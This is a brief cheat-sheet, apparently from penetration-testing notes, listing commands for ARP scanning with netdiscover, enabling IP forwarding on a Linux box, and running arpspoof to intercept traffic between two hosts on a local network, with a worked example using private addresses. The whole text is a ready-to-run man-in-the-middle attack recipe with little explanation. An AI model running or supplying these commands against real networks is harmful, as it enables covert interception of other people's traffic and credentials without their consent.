NetDiscover (ARP Scanning)

netdiscover -i eth0

or

netdiscover -r x.x.x.0/24

First enable Linux box to act as a router:

echo 1 > /proc/sys/net/ipv4/ip_forward

Then tun arpspoof:

arpspoof -i <interface> -t <target> -r <host>

For example, to intercept traffic between targets, use:

arpspoof -i eth0 -t 192.168.4.11 -r 192.168.4.16